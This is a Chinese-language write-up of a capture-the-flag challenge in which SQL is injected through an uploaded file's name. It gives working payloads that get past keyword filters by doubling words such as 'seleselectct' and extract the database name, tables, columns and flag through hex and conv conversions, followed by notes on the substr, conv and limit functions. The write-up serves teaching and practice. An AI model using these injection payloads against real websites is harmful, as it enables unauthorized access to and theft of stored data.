sql注入之文件上传
这是一道XCTF平台上的upload题,我没有想到它是个sql注入
0x01
打开链接是一个登陆界面,不管三七二十一先注册登陆,是一个文件上传的页面,任意上传文件,发现只能传jpg才能记录下来。好像其他的都被过滤掉了。
0x02
值得注意的是我们上传的文件名都会显示到页面上,这个过程可能是经过数据库查询的,我们上传的文件名会存放到数据库中,猜想插入语句为:
insert into 表名(‘filename’,…) values(‘上传的文件名’,…);
尝试构造sql语句,容我抓个包先!!0x03
在filename=4.jpg的地方构造sql语句:尝试发现select被过滤,尝试双写绕过,经过轮番尝试,构造语句:
’ +seleselectct conv(substr(hex(database()),1,12),16,10) +'读取出库名
依次读出表名:
‘+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = ‘web_upload’ limit 1,1)),1,12),16,10))+’
读出列名:
'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = ‘hello_flag_is_here’ limit 1,1)),1,12),16,10))+ ’
读出flag:
'+(seleselectct CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+ ’
注意:substr中的长度限制:不限制长度会导致返回值太大,系统使用科学计数法(xx e xxxxx)表示。所以还得一点点试试看,很烦这里
我用的进制转化工具:https://tool.lu/hexconvert/
16进制转ASCII工具:https://tool.lu/hexstr/
把36427215695199转16进制,再转ASCII码得:!!@m
调整长度(13,12)得到:Th.e_F
再次调整(25,12):!lag
拼接得:!!_@m_Th.e_F!lag
0x05
分享以下学到的函数:
substr函数格式 (俗称:字符截取函数)
格式1: substr(string string, int a, int b);
格式2:substr(string string, int a) ;
格式1:
1、string 需要截取的字符串
2、a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
3、b 要截取的字符串的长度
格式2:
1、string 需要截取的字符串
2、a 可以理解为从第a个字符开始截取后面所有的字符串。
CONV()函数格式:
格式:conv(hex(‘a’),a,b)
这个函数是用来将字符转换进制的,例如将a转成ASCII码(换个说法就是将16进制的a换成10进制)直接用conv(hex(‘a’),16,10)
第一个参数是要转换的字符,第二个就是要转换的字符的进制,第三个参数就是转换成的进制
就是说第二个参数要和第一个参数的类型一致,第三个参数就是想要得到的进制
**limit :** limit子句用于限制查询结果返回的数量,常用于分页查询
例如:select column from tableName limit i,n
i:为查询结果的索引值(默认从0开始),当i=0时可省略i
n:为查询结果返回的数量
i与n之间使用英文逗号","隔开,limit n 等同于 limit 0,n